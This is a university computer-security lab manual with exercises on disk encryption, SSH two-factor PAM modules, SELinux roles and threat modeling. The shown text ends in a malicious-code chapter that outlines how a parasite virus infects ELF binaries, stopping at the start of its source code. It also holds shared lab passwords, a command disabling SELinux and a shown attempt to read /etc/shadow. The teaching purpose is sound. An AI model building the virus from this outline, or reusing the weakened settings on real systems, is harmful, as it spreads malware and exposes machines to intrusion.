Product SiteDocumentation Site

Computer System Security 1.0

bvi

Cyber-Security

Edition 2019

Anton Baláž

KPI - FEI - TUKE
Acknowledgement
Course Outline
1. Lectures Outline
2. Evaluation
3. Assignment
4. Literature
1. Practice 1 - Connection Setup
1.1. Client Setup(MS Windows )
1.2. Client Setup(Linux)
1.3. Vi Review
2. Practice 2 - Crypto Tools
2.1. Veracrypt
2.1.1. Creating a container
2.1.2. Mounting and using a VeraCrypt volume
2.2. Encrypt Your Data With EncFS
2.2.1. Steps
3. Practice 3 - Multi-factor Authentication
3.1. Objectives
3.2. Introduction
3.3. Hands-on
3.3.1. Secure SSH with Google Authenticator’s Two-Factor Authentication
3.3.2. Simple SSH 2-Factor Authentication Module
4. Practice 4 - Role Based Access Controls
4.1. Objectives
4.2. Introduction
4.3. Practice
4.3.1. Hands-on
5. Practice 5 - Threat Modeling
5.1. Objectives
5.2. Introduction
5.2.1. Threat Modeling and STRIDE
5.2.2. Data Flow Diagrams
5.3. Hands-on
5.3.1. Task
6. Practice 6 - Malicious Code
6.1. Objectives
6.2. Introduction
6.3. Hands-on Simple Parasite Virus
6.3.1. Sleeping Phase
6.3.2. Spread and Activation
6.3.3. Scanner
6.3.4. Virus Removal
7. Practice 7 - Electronic Mail
7.1. Objectives
7.2. Introduction
7.3. Hands-on
7.3.1. TUKE Webmail Mailvelope integration
7.3.2. Encrypting Messages
7.3.3. Tasks
8. Practice 8 - Application Firewall
8.1. Objectives
8.2. Hands-on Installing mod_security
8.3. Testing SQL Injection
8.3.1. Setting Up Rules
8.3.2. Writing Your Own mod_security Rules
9. Practice 9 - Data Backups
9.1. Objectives
9.2. Hands-on
9.2.1. Unix/Linux
9.2.2. MS Windows
9.2.3. Duplicati - backup program
A. Solutions
A.1. Antivirus scanner

Acknowledgement

This work was supported by KEGA Agency of the Ministry of Education, Science, Research and Sport of the Slovak Republic under Grant No. 003TUKE-4/2017 ”Implementation of Modern Methods and Education Forms in the Area of Security of Information and Communication Technologies towards Requirements of Labor Market”

Course Outline

Student gets basic knowledge about methods and concepts of confidentiality, integrity and computer systems resources availability. Student gets knowledge to design secure information systems and auditing computer security.

1. Lectures Outline

  1. Security Introdution
    • Exercise: Remote Laboratory
  2. Crypt Tools
    • Exercise: Cryptographic Tools
  3. Autentification
    • Exercise: Two fator authentification
  4. Access Control
  5. Security Analyse
    • Exercise: Threat Modelling
  6. Malicious Code
  7. Email Security
  8. Network Security
  9. Backup

2. Evaluation

  • 30% - Assignment
  • 70% - Final Exam

3. Assignment

The aim of the assignment is to make analysis of students bachelor thesis(Use Case).

4. Literature

  • Dieter Gollmann. Computer Security. Wiley
  • William Stallings, Computer Security Principles and Practices, Prentice Hall
  • William Stallings, Network Security Essentials, Prentice Hall
  • Goodrich, Tamassia, Introduction to Computer Security

Chapter 1. Practice 1 - Connection Setup

1.1. Client Setup(MS Windows )

  1. Download:
    http://zeus.fei.tuke.sk/vnc.exe
  2. Remote host: bps.fei.tuke.sk
  3. Try to login as bviXY with password bezpecnost

    Note

    bviXY given by the lector
  4. To change screen resolution:
    Menu - System -> Preferences -> Display
  5. Start VirtualBox
    Menu - Applications -> System Tools -> VirtualBox

1.2. Client Setup(Linux)

  1. Open command line terminal.
  2. Enter
    $ vncviewer bps.fei.tuke.sk
  3. Try to login as bviXY with password bezpecnost

    Note

    bviXY given by the lector
  4. To change screen resolution:
    Menu - System -> Preferences -> Display
  5. Start VirtualBox
    Menu - Applications -> System Tools -> VirtualBox

1.3. Vi Review

Chapter 2. Practice 2 - Crypto Tools

2.1. Veracrypt

VeraCrypt is an open-source utility used for on-the-fly encryption (OTFE).[5] It can create a virtual encrypted disk within a file or encrypt a partition[6] or (in Windows) the entire storage device with pre-boot authentication.
With VeraCrypt you can:
  • Create a virtual encrypted disk (volume) which you can mount and use just like a real disk (and which can be made into a Hidden Volume)
  • Encrypt an entire partition or storage device (e.g. a hard drive or USB stick)
  • Create a partition or storage drive containing an entire operating system (which can be hidden)
All encryption is performed on-the-fly in real-time, making VeraCrypt transparent in operation. It should be noted, however, that groovy as this ability to mount an encrypted drive is (and it is one of the things that makes VeraCrypt a great program), it does mean that cryptographic keys are stored in temporary memory (RAM) during use, which can theoretically expose VeraCrypt users to the possibility of attack through the use of pre-installed keyloggers and other malware.

2.1.1. Creating a container

The simplest way to use VeraCrypt is to create an encrypted container within a file. This file behaves just like any other file, and can be moved, deleted, renamed etc. as if it was a normal file.
  1. Run WindowsXP virtual machine.
  2. Download VeraCrypt, install and run it, then click ‘Create Volume’ on the main screen.
    http://zeus.fei.tuke.sk/vera.exe
  3. Make sure the ‘Create an encrypted file container’ radio button is selected and click ‘Next’.
  4. Make sure that ‘Standard VeraCrypt volume’ is selected and click ‘Next’.
  5. Click ‘Select File’, choose where you want the file saved, and pick a name for the file. Do not select an already existing file as VeraCrypt will delete it and replace it with a new VeraCrypt container.
  6. Choose an encryption algorithm and a hash algorithm. Information is provided on each encryption algorithm to help you choose one that is right for you. Generally speaking, the stronger the encryption, the longer the encryption/decryption process will take.
    You can benchmark how fast the encryption/decryption takes, and test that all the algorithms are working properly.
    Although not as fast as AES, we prefer Twofish because we are suspicious of anything NIST certified (we explain why here.) We’ll also go with the Whirlpool hash algorithm for the same reason (see the full documentation for more info on this subject)
  7. Choose how big you want the file to be. It can be any size up the available free space on the drive it is located.
  8. Chose a password. This is a vital step; if your data is worth encrypting then it is worth protecting with a good password. The wizard offers some good advice on choosing a strong password (it is possible to use a keyfile instead, but for simplicity in this beginner’s tutorial we’ll just stick to using a password)
  9. In the ‘Volume Format’ screen you can choose which file system to use. We’ll go for FAT to maintain maximum compatibility across devices and platforms. Moving your mouse pointer around the window increases the cryptographic strength of the encryption keys by introducing a truly random element (which increases security), so you should wiggle it around for at least 30 seconds. When you are done, click ‘Format’ and wait for the confirmation dialogue (then click ‘OK’ and ‘Exit’).
    You have now created a VeraCrypt volume (file container)!

2.1.2. Mounting and using a VeraCrypt volume

  1. Select a drive letter from the list on the VeraCrypt main screen. Then click ‘Select File’ and navigate to where you saved the VeraCrypt volume you just created, and ‘Open’. Once done, click ‘Mount’.
  2. You will be asked for the password you specified earlier.
  3. The volume is now mounted and will behave in all ways like a normal volume, except that all data on it is encrypted. You can open it by double-clicking on the volume name from the VeraCrypt main screen…
    or it can be accessed as regular volume in Explorer.
    As you can see, the basics of setting up a simple encrypted volume are quite easy, and VeraCrypt does a good job at holding your hand.

    Note

    If you use Dropbox and are worried about Dropbox being able to see your files, you can create an encrypted VeraCrypt container inside your Dropbox folder. In this way, all files placed in the mounted container will be encrypted before being uploaded to Dropbox, and decrypted locally for viewing.

2.2. Encrypt Your Data With EncFS

EncFS provides an encrypted filesystem in user-space. It runs without any special permissions and uses the FUSE library and Linux kernel module to provide the filesystem interface. It is a pass-through filesystem, not an encrypted block device, which means it is created on top of an existing filesystem.

2.2.1. Steps

  1. Run VirtualBox and virtual machine Debian, login as root/password
  2. Install encfs
    $ rm /etc/apt/sources.list
    $ cd /etc/apt ; wget zeus.fei.tuke.sk/sources.list
    $ apt-get update
    $ apt-get install encfs
  3. You should now take a look at the EncFS man page to familiarize yourself with its options:
    $ man encfs
  4. I will now create the directories encrypted and decrypted in my home directory:
    $ mkdir -p ~/encrypted
    
    $ mkdir -p ~/decrypted
  5. The decrypted directory acts as the mount point for the encrypted directory. To mount ~/encrypted to ~/decrypted, simply run:
    $ encfs ~/encrypted ~/decrypted
    If you run this command for the first time, the EncFS setup is started, and you must define a password for the encrypted volume:
    Creating new encrypted volume.
    Please choose from one of the following options:
     enter "x" for expert configuration mode,
     enter "p" for pre-configured paranoia mode,
     anything else, or an empty line will select standard mode.
    ?> <-- p
    
    Paranoia configuration selected.
    
    Configuration finished.  The filesystem to be created has
    the following properties:
    Filesystem cipher: "ssl/aes", version 3:0:2
    Filename encoding: "nameio/block", version 3:0:1
    Key Size: 256 bits
    Block Size: 1024 bytes, including 8 byte MAC header
    Each file contains 8 byte header with unique IV data.
    Filenames encoded using IV chaining mode.
    File data IV is chained to filename IV.
    File holes passed through to ciphertext.
    
    ....
    Make sure you remember the password because there's no way to recover your encrypted data if you forget the password!
  6. You should now find the EncFS volume in the outputs of
    $ mount
    and
    $ df
  7. To save your data in encrypted form, put your data into the decrypted directory, just as you would do with a normal directory:
    $ cd ~/decrypted
    $ echo "hello foo" > foo
    $ echo "hello bar" > bar
    $ ln -s foo foo2
  8. If you check the contents of the directory, you will see that you can see it in unencrypted form...
    $ ls -l
  9. ... while in the encrypted directory, it's encrypted:
    $ cd ~/encrypted
    $ ls -l
  10. To unmount the encrypted volume, run:
    $ cd
    $ fusermount -u ~/decrypted
  11. To mount it again, run
    $ encfs ~/encrypted ~/decrypted
  12. If you want to change the password, you can do this with the
    $ encfsctl passwd ~/encrypted

Chapter 3. Practice 3 - Multi-factor Authentication

3.1. Objectives

Two-factor authentication aims to solve the decades-old problem of password-based attacks, such as brute-force attacks and key-logging attacks. In Linux, two-factor authentication can be accomplished with pam modules.

3.2. Introduction

Multi-factor authentication (also MFA, two-factor authentication, TFA, T-FA or 2FA) is an approach to authentication which requires the presentation of two or more of the three authentication factors: a knowledge factor ("something only the user knows"), a possession factor ("something only the user has"), and an inherence factor ("something only the user is"). After presentation, each factor must be validated by the other party for authentication to occur.
Two-factor authentication is commonly found in electronic computer authentication, where basic authentication is the process of a requesting entity presenting some evidence of its identity to a second entity. Two-factor authentication seeks to decrease the probability that the requester is presenting false evidence of its identity. The number of factors is important, as it implies a higher probability that the bearer of the identity evidence indeed holds that identity in another realm (e.g., computer system vs real life). In reality, there are more variables to consider when establishing the relative assurance of truthfulness in an identity assertion than simply how many "factors" are used.
Two-factor authentication is often confused with other forms of authentication. Two-factor authentication requires the use of two of the three authentication factors. The factors are identified in the standards and regulations for access to U.S. Federal Government systems. These factors are:
  • Something only the user knows (e.g., password, PIN, pattern);
  • Something only the user has (e.g., ATM card, smart card, mobile phone); and
  • Something only the user is (e.g., biometric characteristic, such as a fingerprint).

3.3. Hands-on

  1. First login to remote system bps.fei.tuke.sk.

3.3.1. Secure SSH with Google Authenticator’s Two-Factor Authentication

Two-Factor authentication adds an extra layer of security to the authentication process to prevent unauthorized users to access your services or data. Normally you only type username and password (something you know) but with Two-Factor authentications, additionally you need to provide something you have (mobile phone running Android, iOS or Blackberry with one time codes when using Google Authenticator).
To implement multifactor authentication with Google Authenticator, we’ll need the open-source Google Authenticator PAM module. PAM stands for “pluggable authentication module” – it’s a way to easily plug different forms of authentication into a Linux system.
  1. Start VirtualBox and run CentOS Virtual Machine
  2. Login to virtual as root/password
  3. Download and install the c app for you phone.
    Google Play Store
    Apple Store

    Note

    If you don not own phone, you can install extension to Google Chrome - Google Authenticator
  4. Download and install the Authenticator app for you phone. (MS Windows Phone):
    https://www.microsoft.com/sk-sk/store/apps/authenticator/9wzdncrfj3rj
  5. Install required package:
    $ setenforce 0
    
    $ rm -f /etc/localtime
    
    $ ln -s /usr/share/zoneinfo/Europe/Bratislava /etc/localtime
    
    $ tzselect
    (Europe)
    (Slovakia)
    (Yes)
    
    $ ntpdate pool.ntp.org
    
    $ rpm -Uvh http://zeus.fei.tuke.sk/bps3r/epel6.rpm
    
    $ yum -y install google-authenticator mc
  6. Configure pam to use the google authenticator lib.
    $ cp /etc/pam.d/sshd /etc/pam.d/sshd.old
    $ mcedit /etc/pam.d/sshd
    
    Find line: auth include password-auth and add highlighted line.
    auth required pam_google_authenticator.so 
    auth include password-auth
  7. Locate a line in the file starting with ChallengeResponseAuthentication and change the value to yes
    $ mcedit /etc/ssh/sshd_config 
    ChallengeResponseAuthentication yes
  8. Restart SSH
    $ /etc/init.d/sshd restart
  9. Add new user
    $ useradd -m google 
    $ passwd google

    Warning

    Remember entered password.
  10. Switch to new user
    $ su - google
  11. Configure Google Authenticator. This has to be done for each account that should be able to login with Two-Factor Authentication.
    $ google-authenticator
    

    Note

    Following questions enter Y
    Your new secret key is: ABCD12E3FGHIJKLMN
    Your verification code is 98765432
    Your emergency scratch codes are:
      01234567
      89012345
      67890123
      45678901
      23456789

    Note

    If you do not see secret key, press SHIFT + PageUp on keyboard
  12. Setup your mobile phone Google Authentication according to the secret key, previous step. Choose time-based tokens.
  13. Try to login as google user with SSH protocol and use your smartphone.
    $ ssh google@localhost

3.3.2. Simple SSH 2-Factor Authentication Module

We need a quick 2-factor authentication module for SSH. Instead of going with one of the popular solutions like Duo or Google Authenticator, it seemed like a good excuse to whip up some code.
Module works by generating a one time use personal identification number for each login attempt. The module then looks up the local user's mail address, which we'll be storing in the standard comments slot in each pw entry in /etc/passwd. Once it has the user's mail address the module sends the one time use PIN to the user's mail address . If the correct PIN is entered, the login procedure continues with normal password based authentication.
  1. Start VirtualBox and run Debian Virtual Machine
  2. Login to virtual as root/password
  3. Enter:
    $ rm /etc/apt/sources.list
    $ cd /etc/apt ; wget zeus.fei.tuke.sk/sources.list
    $ apt-get update
    $ apt-get install mc
    
    
  4. Locate a line in the file starting with ChallengeResponseAuthentication and change the value to yes:
    $ mcedit /etc/ssh/sshd_config 
    ChallengeResponseAuthentication     yes
  5. Restart SSH:
    $ /etc/init.d/ssh restart
  6. Add new user, setup password and define your email:
    $ useradd -m emailuser 
    $ passwd emailuser 
    $ usermod -c vas@tuke.mail emailuser
  7. Install required package:
    $ apt-get install python-pam libpam-python
  8. Download pam module source
    $ wget http://zeus.fei.tuke.sk/bps3r/pam.py
    $ mv pam.py /lib/security/pam.py
  9. Example of python pam module
    import random, string,hashlib 
    import pwd, syslog import smtplib
    
    
    def mail(to,pin):
    
            msg = 'Subject: Ssh access verification\n\nEnter your PIN:'+ pin
    
            server = smtplib.SMTP_SSL('smtp.tuke.sk',465)
            #server.set_debuglevel(1)                    
            server.login(username, password)             
            server.sendmail(fromaddr, to, msg)           
            server.quit()                                
    
    def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
          return ''.join(random.choice(chars) for x in range(size))        
    
    
    def get_user_mail(user):
                            
            try:            
                    comments = pwd.getpwnam(user).pw_gecos
            except KeyError: # Bad user name              
                    auth_log("No local user (%s) found." % user)
                    return -1                                   
    
            return comments
    
    
    
    def pam_sm_authenticate(pamh, flags, argv):
            try:                               
                    user = pamh.get_user()     
                    user_mail = get_user_mail(user)
            except pamh.exception, e:              
                    return e.pam_result            
                                                   
            if user is None or user_mail == -1:
                    msg = pamh.Message(pamh.PAM_ERROR_MSG, "Not such user")
                    pamh.conversation(msg)
                    return pamh.PAM_ABORT
    
            #pin=nahodna hodnota
            #poslanie mailu s pinom na adresu uzivatela
            pin=id_generator()
            mail(user_mail,pin)
            for attempt in range(0,3): # 3 attempts to enter the one time PIN
                    msg = pamh.Message(pamh.PAM_PROMPT_ECHO_OFF, "Enter one time mail PIN:")
                    resp = pamh.conversation(msg)
    
                    if resp.resp == pin:
                            return pamh.PAM_SUCCESS
                    else:
                            continue
            return pamh.PAM_AUTH_ERR
    
    def pam_sm_setcred(pamh, flags, argv):
            return pamh.PAM_SUCCESS
    
    def pam_sm_acct_mgmt(pamh, flags, argv):
            return pamh.PAM_SUCCESS
    
    def pam_sm_open_session(pamh, flags, argv):
            return pamh.PAM_SUCCESS
    
    def pam_sm_close_session(pamh, flags, argv):
            return pamh.PAM_SUCCESS
    
    def pam_sm_chauthtok(pamh, flags, argv):
            return pamh.PAM_SUCCESS
    
  10. Check your code for errors:
    $ python /lib/security/pam.py
  11. Configure pam to use the new pam module.
    $ mcedit /etc/pam.d/sshd 
    Find line: @include common-auth
    and add text below.
    # Standard Un*xauthentication. 
    @include common-auth 
    auth requisite pam_python.so pam.py
  12. Open web browser and login to your tuke email account
    http://posta.tuke.sk
  13. Try to login as google user with SSH protocol, enter PIN from email (it's case sensitive)
    $ ssh emailuser@localhost
  14. Check your mailbox for new email and try to finish ssh login

Chapter 4. Practice 4 - Role Based Access Controls

4.1. Objectives

Role-based access control (RBAC) is a general security model that simplifies administration by assigning roles to users and then assigning permissions to those roles. RBAC in Security-Enhanced Linux (SELinux) acts as a layer of abstraction between the user and the underlying type-enforcement (TE) model, which provides highly granular access control but is not geared for ease of management. Learn how the three pieces of an SELinux context (policy, kernel, and userspace) work together to enforce the RBAC and tie Linux® users into the TE policy.
Role Based Access Controls (RBAC) offer a system or security administrator a means to define a role of some sort. In our example below we’ll be using a web admin role.

4.2. Introduction

The security policy implemented in Security-Enhanced Linux (SELinux) is type enforcement (TE) under a layer of role-based access control (RBAC). (SELinux also orthogonally implements multi-level security (MLS), which is outside the scope of this article.) TE is the most visible, and therefore the most well known, server because it enforces fine-grained permissions: when something breaks because of unexpected access denials, TE is most likely responsible. In TE, a process's security domain (its domain of influence over the system) is determined by the task's history and the currently executing program.
The concept of RBAC isn't discussed as often as TE and can be confusing because of the way it is integrated with TE. You generally think of RBAC as specifying the access that users in certain roles may receive. SELinux specifies the role-based access in terms of TE, however, so the goal of RBAC in SELinux is to allow management of privileges based on roles that the authorized user may assume, then restrict the domains of influence that a role may enter by specifying the TE domains with which a role may be combined into a valid context.

4.3. Practice

Role Based Access Controls (RBAC) offer a system or security administrator a means to define a role of some sort. In our example below we’ll be using a web admin role.
Normal access controls are fraught with problems of trust. To make somebody a true webadmin in traditional Linux systems requires a lot of effort:
  • The user must be able to read/write web content.
  • The user must be able read/write configuration files.
  • The user must be able to restart web services.
  • The user must be able to alter php configuration files.
  • The user must be able to read/write home directory content (if say apache uses mod_userdir).
  • The user must be able to read/write the temporary files that the http service generates (php sessions and genuine temp files).
  • The user must be able to change permissions of web content.
To manage this level of access on a traditional system would be nigh on impossible. You might be able to get a lot of it done through the use of file ACLs and sudo but it would be a nightmare to manage and make sure not to permit too much or too little access.
Normally one needs to be able to define what the limits of the role are in order to implement it. But the SELinux policy in EL6 already comes with predefined roles, such as web admin which can be implemented without too much trouble.

4.3.1. Hands-on

We are going to demonstrate how to do the above in a secure way which gives a system administrator the confidence to delegate trust.
  1. First login to remote system.
  2. Open VirtualBox and run CentOS virtual machine
  3. Login as root/password
  4. Install necessary packages
    $ yum -y install policycoreutils-python
  5. Firstly, we’ll add the user onto the system as a web administrator. Enter following commands:
    $ useradd webadministrator
    $ passwd webadministrator
    Next, we’ll create an SELinux User and assign our UID to use it:
    $ semanage user -a -R "staff_r system_r webadm_r" -L s0 -r s0 webadm_u
    $ semanage login -a -s webadm_u webadministrator
    Line 1 creates the webadm_u SELinux user (this is distinctly different from a UNIX user account) which is mapped to roles it can be part of.
    What we have done is assigned it to the staff, system and webadm roles. ‘Staff’ is a restricted account which can su and sudo which is what we’re going to need to permit, the system role is used here because its needed to run init scripts (to start/stop httpd), and finally our webadm role is the actual primary role of this user. It’s not possible to map the webadm role directly and only to this user because webadm_r doesnt actually have enough privileges to get it to login via SSH. So instead we use the loginable staff role and transition to the webadm role when we want to do work. The -l and -r are sensitivities. This isnt used in SELinux but its mandatory to pass something to it.
    Line 2 maps the actual UNIX user webadministrator to the SELinux user webadm_u, so when the user logs in this will be their identifiable user.
    We have listed 3 roles the SELinux user webadm_u can transition into. But, how do we know which one to transition into by default? Well – the answer to this is the folder: /etc/selinux/targeted/contexts/users. This folder contains a list of SELinux users you already have. If you open the file staff_u file you’ll see something like this:
    $ cat  /etc/selinux/targeted/contexts/users/staff_u
    system_r:local_login_t:s0 staff_r:staff_t:s0
    sysadm_r:sysadm_t:s0 system_r:remote_login_t:s0 staff_r:staff_t:s0
    system_r:sshd_t:s0 staff_r:staff_t:s0 sysadm_r:sysadm_t:s0
    system_r:crond_t:s0 staff_r:staff_t:s0 system_r:xdm_t:s0
    staff_r:staff_t:s0 staff_r:staff_su_t:s0 staff_r:staff_t:s0
    staff_r:staff_sudo_t:s0 staff_r:staff_t:s0 system_r:initrc_su_t:s0
    staff_r:staff_t:s0 staff_r:staff_t:s0 staff_r:staff_t:s0
    sysadm_r:sysadm_su_t:s0 sysadm_r:sysadm_t:s0
    sysadm_r:sysadm_sudo_t:s0 sysadm_r:sysadm_t:s0
    This file is a two columned list of which role/types to map to users depending on how they enter the system. So for example the type “local_login_t” represents accessing from a console directly whereas the type “sshd_t” represents logging in via SSH. To the right of these entries is a left-to-right priority list of what contexts the staff_u user ends up getting when they login. Its not important to know all about how this works. All we really need to do is copy this file and name it webadm_u in the same directory:
    $ cp /etc/selinux/targeted/contexts/users/staff_u  /etc/selinux/targeted/contexts/users/webadm_u
    OK so now we have initialized our webadm_u user for logging in.
  6. The UNIX user webadministrator cant do some of the things it needs to to properly function – such as restart the httpd service or change file ownerships/permissions when necessary. To do this webadm must become root. Becoming root means nothing to SELinux. It will enforce its policy all the same, so even as root webadministrator is restricted purely to the role that is needed. Thus we can safely do this without compromizing our system. We use sudo to do this which takes special tags we use to transition to our webadm role automatically so the user doesnt need to worry about the selinux particulars:
    $ echo 'webadministrator ALL=(ALL) TYPE=webadm_t ROLE=webadm_r ALL' >> /etc/sudoers
    This means that when the webadministrator runs sudo it will automatically transition into the webadm_t type and webadm_r role.
  7. Logout from virtual machine
    $ logout
  8. Login to virtual as webadministrator and enter:
    $ id -Z
    
    OUTPUT
    webadm_u:staff_r:staff_t:s0
    $ sudo -s
    $ id -Z 
    
    OUTPUT
    webadm_u:webadm_r:webadm_t:s0
    
    So, we login via SSH as per the norm. When we login we check our ID (getting SELinux context). You can see we have logged in with webadm_u as the user but staff_r as the role and staff_t as the type. We can’t do much to our web content in this role and we’re also not root. When we sudo what happens is sudo auto-transitions the user into the webadm_r role and webadm_t type – just what the doctor ordered.
    This role runs a very restricted set of actions it can take. Lets see what we can do…
  9. We should be able to change the apache configuration and restart the service:
    $ echo "# Add a comment to this file" >> /etc/httpd/conf/httpd.conf
    $ /etc/init.d/httpd restart 
    Stopping httpd: [ OK ]
    Starting httpd: [ OK ]
    However we can’t restart other services:
    $ /etc/init.d/sshd restart 
    bash: /etc/init.d/sshd: Permission denied
    We can read, create and modify files in the document root:
    $ cd /var/www/html
    $ touch new_file.txt
    $ rm new_file.txt
    However we can’t modified files outside this:
    $ echo "Port 20000" >> /etc/ssh/sshd_config
    bash: /etc/ssh/sshd_config: Permission denied
    $ cat /etc/shadow 
    cat: /etc/shadow: Permission denied
So, here we are. As you can see, in the webadm role we can restart httpd (which webadministrator needs to do), write to our configuration files and alter our webcontent. However we can’t change anything outside of our remit or attempt to perform anything nefarious – all despite the fact we are root!

Chapter 5. Practice 5 - Threat Modeling

5.1. Objectives

The aim of the exercise is to practise simple treat modeling on the selected case.

5.2. Introduction

Whether you're building a new system or updating an existing one, you'll want to consider how an intruder might go about attacking it and then build in appropriate defenses at the design and implementation stages of the system. The design of secure systems through a technique called threat modeling—the methodical review of a system design or architecture to discover and correct design-level security problems. Threat modeling is an integral part of the Security Development Lifecycle.
One of the most valuable and important SDL practices is threat modeling which is a systematic way to find design-level security and privacy weaknesses in a system. It also helps guide a designer or architect to determine the correct mitigation(s) to use to reduce the overall risk to a system and the data.
The threat risk modeling process has five steps, enumerated below and shown graphically in Figure:

Figure 5.1. 


Application Overview
Once the security objectives have been defined, analyze the application design to identify the components, data flows, and trust boundaries.Do this by surveying the application’s architecture and design documentation. In particular, look for UML component diagrams. Such high level component diagrams are generally sufficient to understand how and why data flows to various places. For example, data movement across a trust boundary (such as from the Internet to the web tier, or from the business logic to the database server), needs to be carefully analyzed, whereas data that flows within the same trust level does not need as much scrutiny.
Decompose Application
Once the application architecture is understood then decompose it further, to identify the features and modules with a security impact that need to be evaluated. For example, when investigating the authentication module, it is necessary to understand how data enters the module, how the module validates and processes the data, where the data flows, how the data is stored, and what fundamental decisions and assumptions are made by the module.
Identify Threats
It is impossible to write down unknown threats, but it is likewise unlikely that new malware will be created to exploit new vulnerabilities within custom systems. Therefore, concentrate on known risks, which can be easily demonstrated using tools or techniques from Bugtraq.

5.2.1. Threat Modeling and STRIDE

Secure properties:
Confidentiality
Data is only available to the people intended to access it.
Integrity
Data and system resources are only changed in appropriate ways by appropriate people.
Availability
Systems are ready when needed and perform acceptably.
Authentication
The identity of users is established (or you’re willing to accept anonymous users).
Authorization
Users are explicitly allowed or denied access to resources.
Nonrepudiation
Users can’t perform an action and later deny performing it.
One way to ensure your applications have these properties is to employ threat modeling using STRIDE, an acronym for Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege.
Threat Security Property
Spoofing Authentication
Tampering Integrity
Repudiation Non-repudiation
Information disclosure Confidentiality
Denial of service Availability
Elevation of privilege Authorization
To follow STRIDE, you decompose your system into relevant components, analyze each component for susceptibility to the threats, and mitigate the threats. Then you repeat the process until you are comfortable with any remaining threats. If you do this—break your system down into components and mitigate all the threats to each component—you can argue that the system is secure.

5.2.2. Data Flow Diagrams

Data flow diagrams (DFDs) are typically used to graphically represent a system, but you can use a different representation (such as a UML diagram) as long as you apply the same basic method: decompose the system into parts and show that each part is not susceptible to relevant threats.
DFDs use a standard set of symbols consisting of four elements: data flows, data stores, processes, and interactors, and for threat modeling we add one more—trust boundaries.
Item Symbol
Data flow One way arrow
Data store Two parallel horizontal lines
Process Circle
Multi-process Two concentric circles
Interactors Rectangle
Trust boundary Dotted line
See also:
https://www.owasp.org/index.php/Threat_Risk_Modeling
http://msdn.microsoft.com/en-us/magazine/cc163519.aspx
http://www.microsoft.com/security/sdl/process/design.aspx
http://youtu.be/wUt8gVxmO-0

5.3. Hands-on

Login to the remote system.

Warning

You don't need to login remotely if your local OS has installed MS Threat Modelling Tool. Check Desktop/Start Menu. Run tools locally.
  1. Execute VirtualBox and run WindowsXP.
  2. After Windows XP login. download and install:
    http://www.microsoft.com/en-us/download/details.aspx?id=42518
  3. Threat Modeling
    We'll do a (very basic) sample threat model of a physical bank teller.
    The Description isn't always necessary; it just depends on how (un)familiar I am with the component / technology. If I'm helping to threat model Feature XYZ of Microsoft Excel it probably needs no introduction, but if your product team is releasing a brand-new product with some funky internal code name I probably won't have a clue. The point here is to get a high-level overview of how scared I should be about your product / feature; to see what kind of attack surface it has. Is it Notepad or is it IIS? Is it a rich-client app or a network service? What account does it run under? Does it run in user mode or in kernel mode? Is it restricted to fully trusted (native) code or does it allow partially-trusted callers? Does it run by default every time the box boots, or is it a utility that the user runs once in a blue moon? Basic things like that.
    For the bank teller example, the salient points are that random people come in off the street and ask you for money, and you have to make sure you only give it to the right people. The description might be:
    The Bank Teller component gives out money to clients. It accepts requests from arbitrary clients, performs authentication and authorisation activities, and then processes valid requests for cash withdrawals. The teller is trusted to perform these actions, but is required to work within the confines of various corporate policies with regards to transaction amounts, auditing of transactions, etc.
    The DFDs are really where it's all at. As the saying goes, a picture is worth a thousand word and DFDs are no different. You can convey so much information in such a small amount of space / time using a good diagram that their utility cannot be overstated. A DFD is not a flow chart; it is a diagram showing flows of data between components:

    Figure 5.2. 


    A good DFD starts with a Context Diagram -- a diagram with your component in the middle and all the external entities it talks to on the outside. An example for the bank teller might be something like this:

    Figure 5.3. 


  4. Next, you start drilling into the details inside the component in a series of one or more Level N diagrams (where N gets higher the further you drill down), which might give you something like this:

    Figure 5.4. 


    Here AuthN is short hand for Authenticate - making sure the person is who they really claim they are, and AuthZ is short hand for Authorise, making sure the user has permission to do what they are attempting to do. These two abbreviations are commonly used at Microsoft (and possibly elsewhere) and they are also used to mean "Authentication" and "Authorisation" as well.
  5. In virtual machine Windows XP use the installed Threat Modeling Tool to Draw Diagram from the previous DFD of an ATM.
    Step 1 “Draw Diagram”

    Figure 5.5. 


  6. Step 2 “Analyze Model”
    The center for analysis of the model, where users use Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service and Elevation of Privilege (STRIDE) to find each threat and figure out how to mitigate it.
    Click -> View Menu -> Analysis View

    Figure 5.6. 


  7. Follow the single Threats and think about potentional problems and solutions.
  8. Step 4 “Generate Reports”
    Brings out all the data that has been entered in a variety of useful forms.
    Click -> menu Reports

    Figure 5.7. 


  9. Implement your (secure)system based on the discovered threats and their mitigations.

5.3.1. Task

Try to model simple architecture: Users interation with web server which requires users' input.

Chapter 6. Practice 6 - Malicious Code

6.1. Objectives

The purpose of this lesson is to present simple parasite virus written in C language. The virus has following spread phases: sleeping, spreading, executing of the malicious code. Possible virus scanners and the removal of virus from infected file are presented later into the session.

6.2. Introduction

6.3. Hands-on Simple Parasite Virus

The following example presents simple code which purpose is to find not yet infected binary file, to infect it and thus ensure execution of malicious code that prints text to the terminal screen.
Skeleton of such a virus is as follows:
  1. Load virus into the memory.
  2. Look for ELF files (linux binary files) in current directory.
  3. If ELF file is found:
    1. Create temporary file and copy body of the virus to it.
    2. Add the program that is going to be infected to the end of the virus body.
    3. Add virus mark to the end of the file.
    4. Replace original program with the new one that contains virus.
  4. Run malicious activity.
  5. Create temporary file and copy original progam to this file.
  6. Launch the program (step 5).
  7. Remove the program (step 5).


       +-------------+ +
       |    Virus    | |
       |-------------| |
       |             | |
       |    Code     | |
       |             | |  size              +------------+
       |             | |   X                | Infection  |
       |             | |                    |------------|
       |             | |                    |            |
       |             | |                    |            |
       +-------------+ +                    |            |
                                            |   Virus    |
                                            |    Size    |
                                            |     X      |
                                            |            |
                                            |            |
                                            |            |
       +-------------+ +                    +------------+
       |   ELF file  | |                    |            |
       |-------------| |                    |            |
       |             | |                    |            |
       |             | |                    |            |
       |             | |                    |  Program   |
       |             | |                    |    Size    |
       |             | |                    |     Y      |
       |             | |  size              |            |
       |             | |   Y                |            |
       |    Code     | |                    |            |
       |             | |                    |            |
       |             | |                    +------------+
       |             | |                    |   Magic    |
       |             | |                    +------------+
       |             | |
       |             | |
       |             | |
       +-------------+ +
Next step is to introduce source code of the virus:
/* 
 * This is a trivial ELF file infector.  It simply pre-pends itself
 * to the beginning of ELF executibles.  When it runs it copies the
 * later half of itself to a temporary file and executes it.  Then
 * it deletes the temp file.
 *
 */

#include <stdio.h>
